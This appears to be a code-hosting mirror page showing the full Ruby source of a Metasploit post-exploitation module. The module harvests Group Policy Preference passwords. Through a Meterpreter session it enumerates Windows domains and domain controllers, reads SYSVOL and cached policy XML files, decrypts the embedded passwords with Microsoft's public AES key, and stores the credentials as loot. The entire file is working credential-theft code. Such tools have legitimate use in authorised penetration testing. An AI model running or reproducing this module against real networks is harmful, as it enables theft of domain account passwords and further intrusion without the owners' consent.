Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/gpp.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::File
9
include Msf::Post::Windows::ExtAPI
10
include Msf::Post::Windows::Priv
11
include Msf::Post::Windows::Registry
12
include Msf::Post::Windows::NetAPI
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Windows Gather Group Policy Preference Saved Passwords',
19
'Description' => %q{
20
This module enumerates the victim machine's domain controller and
21
connects to it via SMB. It then looks for Group Policy Preference XML
22
files containing local user accounts and passwords and decrypts them
23
using Microsofts public AES key.
24
25
Cached Group Policy files may be found on end-user devices if the group
26
policy object is deleted rather than unlinked.
27
28
Tested on WinXP SP3 Client and Win2k8 R2 DC.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'Ben Campbell',
33
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
34
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
35
'theLightCosine',
36
'mubix' # domain/dc enumeration code
37
],
38
'References' => [
39
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
40
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
41
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
42
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'],
43
['MSB', 'MS14-025']
44
],
45
'Platform' => [ 'win' ],
46
'SessionTypes' => [ 'meterpreter' ],
47
'Notes' => {
48
'Stability' => [CRASH_SAFE],
49
'SideEffects' => [],
50
'Reliability' => []
51
},
52
'Compat' => {
53
'Meterpreter' => {
54
'Commands' => %w[
55
extapi_adsi_domain_query
56
]
57
}
58
}
59
)
60
)
61
62
register_options([
63
OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]),
64
OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),
65
OptString.new('DOMAINS', [false, 'Enumerate list of space separated domains DOMAINS="dom1 dom2".'])
66
])
67
end
68
69
def run
70
group_path = 'MACHINE\\Preferences\\Groups\\Groups.xml'
71
group_path_user = 'USER\\Preferences\\Groups\\Groups.xml'
72
service_path = 'MACHINE\\Preferences\\Services\\Services.xml'
73
printer_path = 'USER\\Preferences\\Printers\\Printers.xml'
74
drive_path = 'USER\\Preferences\\Drives\\Drives.xml'
75
datasource_path = 'MACHINE\\Preferences\\Datasources\\DataSources.xml'
76
datasource_path_user = 'USER\\Preferences\\Datasources\\DataSources.xml'
77
task_path = 'MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml'
78
task_path_user = 'USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml'
79
80
domains = []
81
basepaths = []
82
fullpaths = []
83
84
print_status('Checking for group policy history objects...')
85
all_users = get_env('%ALLUSERSPROFILE%')
86
87
unless all_users.include? 'ProgramData'
88
all_users = "#{all_users}\\Application Data"
89
end
90
91
cached = get_basepaths("#{all_users}\\Microsoft\\Group Policy\\History", cached: true)
92
93
unless cached.blank?
94
basepaths << cached
95
print_good('Cached Group Policy folder found locally')
96
end
97
98
print_status('Checking for SYSVOL locally...')
99
system_root = expand_path('%SYSTEMROOT%')
100
locals = get_basepaths("#{system_root}\\SYSVOL\\sysvol")
101
unless locals.blank?
102
basepaths << locals
103
print_good('SYSVOL Group Policy Files found locally')
104
end
105
106
# If user supplied domains this implicitly cancels the ALL flag.
107
if datastore['ALL'] && datastore['DOMAINS'].blank?
108
print_status('Enumerating Domains on the Network...')
109
domains = enum_domains
110
domains.reject! { |n| n == 'WORKGROUP' || n.to_s.empty? }
111
end
112
113
# Add user specified domains to list.
114
unless datastore['DOMAINS'].blank?
115
if datastore['DOMAINS'].match(/\./)
116
print_error("DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'.")
117
return
118
end
119
user_domains = datastore['DOMAINS'].split(' ')
120
user_domains = user_domains.map(&:upcase)
121
print_status("Enumerating the user supplied Domain(s): #{user_domains.join(', ')}...")
122
user_domains.each { |ud| domains << ud }
123
end
124
125
# If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again.
126
# If user supplied domains we do not wish to enumerate registry retrieved domains.
127
if locals.blank? && user_domains.blank?
128
print_status('Enumerating domain information from the local registry...')
129
domains << get_domain_reg
130
end
131
132
domains.flatten!
133
domains.compact!
134
domains.uniq!
135
136
# Dont check registry if we find local files.
137
cached_dc = get_cached_domain_controller if locals.blank?
138
139
domains.each do |domain|
140
dcs = enum_dcs(domain)
141
dcs = [] if dcs.nil?
142
143
# Add registry cached DC for the test case where no DC is enumerated on the network.
144
if !cached_dc.nil? && cached_dc.include?(domain)
145
dcs << cached_dc
146
end
147
148
next if dcs.blank?
149
150
dcs.uniq!
151
tbase = []
152
dcs.each do |dc|
153
print_status("Searching for Policy Share on #{dc}...")
154
tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
155
# If we got a basepath from the DC we know that we can reach it
156
# All DCs on the same domain should be the same so we only need one
157
next if tbase.blank?
158
159
print_good("Found Policy Share on #{dc}")
160
basepaths << tbase
161
break
162
end
163
end
164
165
basepaths.flatten!
166
basepaths.compact!
167
print_status('Searching for Group Policy XML Files...')
168
basepaths.each do |policy_path|
169
fullpaths << find_path(policy_path, group_path)
170
fullpaths << find_path(policy_path, group_path_user)
171
fullpaths << find_path(policy_path, service_path)
172
fullpaths << find_path(policy_path, printer_path)
173
fullpaths << find_path(policy_path, drive_path)
174
fullpaths << find_path(policy_path, datasource_path)
175
fullpaths << find_path(policy_path, datasource_path_user)
176
fullpaths << find_path(policy_path, task_path)
177
fullpaths << find_path(policy_path, task_path_user)
178
end
179
fullpaths.flatten!
180
fullpaths.compact!
181
fullpaths.each do |filepath|
182
tmpfile = gpp_xml_file(filepath)
183
parse_xml(tmpfile) if tmpfile
184
end
185
end
186
187
def get_basepaths(base, cached: false)
188
locals = []
189
begin
190
session.fs.dir.foreach(base) do |sub|
191
next if sub =~ /^(\.|\.\.)$/
192
193
# Local GPO are stored in C:\Users\All Users\Microsoft\Group
194
# Policy\History\{GUID}\Machine\etc without \Policies
195
if cached
196
locals << "#{base}\\#{sub}\\"
197
else
198
tpath = "#{base}\\#{sub}\\Policies"
199
200
begin
201
session.fs.dir.foreach(tpath) do |sub2|
202
next if sub2 =~ /^(\.|\.\.)$/
203
204
locals << "#{tpath}\\#{sub2}\\"
205
end
206
rescue Rex::Post::Meterpreter::RequestError => e
207
print_error "Could not access #{tpath} : #{e.message}"
208
end
209
end
210
end
211
rescue Rex::Post::Meterpreter::RequestError => e
212
print_error "Error accessing #{base} : #{e.message}"
213
end
214
return locals
215
end
216
217
def find_path(path, xml_path)
218
xml_path = "#{path}#{xml_path}"
219
begin
220
return xml_path if exist? xml_path
221
rescue Rex::Post::Meterpreter::RequestError
222
# No permissions for this specific file.
223
return nil
224
end
225
end
226
227
def adsi_query(domain, adsi_filter, adsi_fields)
228
return '' unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_ADSI_DOMAIN_QUERY)
229
230
query_result = session.extapi.adsi.domain_query(domain, adsi_filter, 255, 255, adsi_fields)
231
232
if query_result[:results].empty?
233
return '' # adsi query failed
234
else
235
return query_result[:results]
236
end
237
end
238
239
def gpp_xml_file(path)
240
data = read_file(path)
241
242
spath = path.split('\\')
243
retobj = {
244
dc: spath[2],
245
guid: spath[6],
246
path: path,
247
xml: data
248
}
249
if spath[4] == 'sysvol'
250
retobj[:domain] = spath[5]
251
else
252
retobj[:domain] = spath[4]
253
end
254
255
adsi_filter_gpo = "(&(objectCategory=groupPolicyContainer)(name=#{retobj[:guid]}))"
256
adsi_field_gpo = ['displayname', 'name']
257
258
gpo_adsi = adsi_query(retobj[:domain], adsi_filter_gpo, adsi_field_gpo)
259
260
unless gpo_adsi.empty?
261
gpo_name = gpo_adsi[0][0][:value]
262
gpo_guid = gpo_adsi[0][1][:value]
263
retobj[:name] = gpo_name if retobj[:guid] == gpo_guid
264
end
265
266
return retobj
267
rescue Rex::Post::Meterpreter::RequestError => e
268
print_error "Received error code #{e.code} when reading #{path}"
269
return nil
270
end
271
272
def parse_xml(xmlfile)
273
mxml = xmlfile[:xml]
274
print_status("Parsing file: #{xmlfile[:path]} ...")
275
filetype = File.basename(xmlfile[:path].gsub('\\', '/'))
276
results = Rex::Parser::GPP.parse(mxml)
277
278
tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])
279
280
tables.each do |table|
281
table << ['NAME', xmlfile[:name]] if xmlfile.member?(:name)
282
print_good(" #{table}\n\n")
283
end
284
285
results.each do |result|
286
if datastore['STORE']
287
stored_path = store_loot('microsoft.windows.gpp', 'text/xml', session, xmlfile[:xml], filetype, xmlfile[:path])
288
print_good("XML file saved to: #{stored_path}")
289
print_line
290
end
291
292
report_creds(result[:USER], result[:PASS], result[:DISABLED])
293
end
294
end
295
296
def report_creds(user, password, _disabled)
297
service_data = {
298
address: session.session_host,
299
port: 445,
300
protocol: 'tcp',
301
service_name: 'smb',
302
workspace_id: myworkspace_id
303
}
304
305
credential_data = {
306
origin_type: :session,
307
session_id: session_db_id,
308
post_reference_name: refname,
309
username: user,
310
private_data: password,
311
private_type: :password
312
}
313
314
credential_core = create_credential(credential_data.merge(service_data))
315
316
login_data = {
317
core: credential_core,
318
access_level: 'User',
319
status: Metasploit::Model::Login::Status::UNTRIED
320
}
321
322
create_credential_login(login_data.merge(service_data))
323
end
324
325
def enum_domains
326
domains = []
327
results = net_server_enum(SV_TYPE_DOMAIN_ENUM)
328
329
if results
330
results.each do |domain|
331
domains << domain[:name]
332
end
333
334
domains.uniq!
335
print_status("Retrieved Domain(s) #{domains.join(', ')} from network")
336
end
337
338
domains
339
end
340
341
def enum_dcs(domain)
342
hostnames = nil
343
# Prevent crash if FQDN domain names are searched for or other disallowed characters:
344
# http://support.microsoft.com/kb/909264 \/:*?"<>|
345
if domain =~ %r{[:*?"<>\\/.]}
346
print_error("Cannot enumerate domain name contains disallowed characters: #{domain}")
347
return nil
348
end
349
350
print_status("Enumerating DCs for #{domain} on the network...")
351
results = net_server_enum(SV_TYPE_DOMAIN_CTRL | SV_TYPE_DOMAIN_BAKCTRL, domain)
352
353
if results.blank?
354
print_error("No Domain Controllers found for #{domain}")
355
else
356
hostnames = []
357
results.each do |dc|
358
print_good("DC Found: #{dc[:name]}")
359
hostnames << dc[:name]
360
end
361
end
362
363
hostnames
364
end
365
366
# We use this for the odd test case where a DC is unable to be enumerated from the network
367
# but is cached in the registry.
368
def get_cached_domain_controller
369
subkey = 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\'
370
v_name = 'DCName'
371
dc = registry_getvaldata(subkey, v_name).gsub(/\\/, '').upcase
372
print_status("Retrieved DC #{dc} from registry")
373
return dc
374
rescue StandardError
375
print_status('No DC found in registry')
376
end
377
378
def get_domain_reg
379
locations = []
380
# Lots of redundancy but hey this is quick!
381
locations << ['HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\', 'Domain']
382
locations << ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\', 'DefaultDomainName']
383
locations << ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\', 'MachineDomain']
384
385
domains = []
386
387
# Pulls cached domains from registry
388
domain_cache = registry_enumvals('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\')
389
if domain_cache
390
domain_cache.each { |ud| domains << ud }
391
end
392
393
locations.each do |location|
394
begin
395
subkey = location[0]
396
v_name = location[1]
397
domain = registry_getvaldata(subkey, v_name)
398
rescue Rex::Post::Meterpreter::RequestError => e
399
print_error "Received error code #{e.code} - #{e.message}"
400
end
401
402
unless domain.blank?
403
domain_parts = domain.split('.')
404
domains << domain.split('.').first.upcase unless domain_parts.empty?
405
end
406
end
407
408
domains.uniq!
409
print_status("Retrieved Domain(s) #{domains.join(', ')} from registry")
410
411
return domains
412
end
413
end
414
415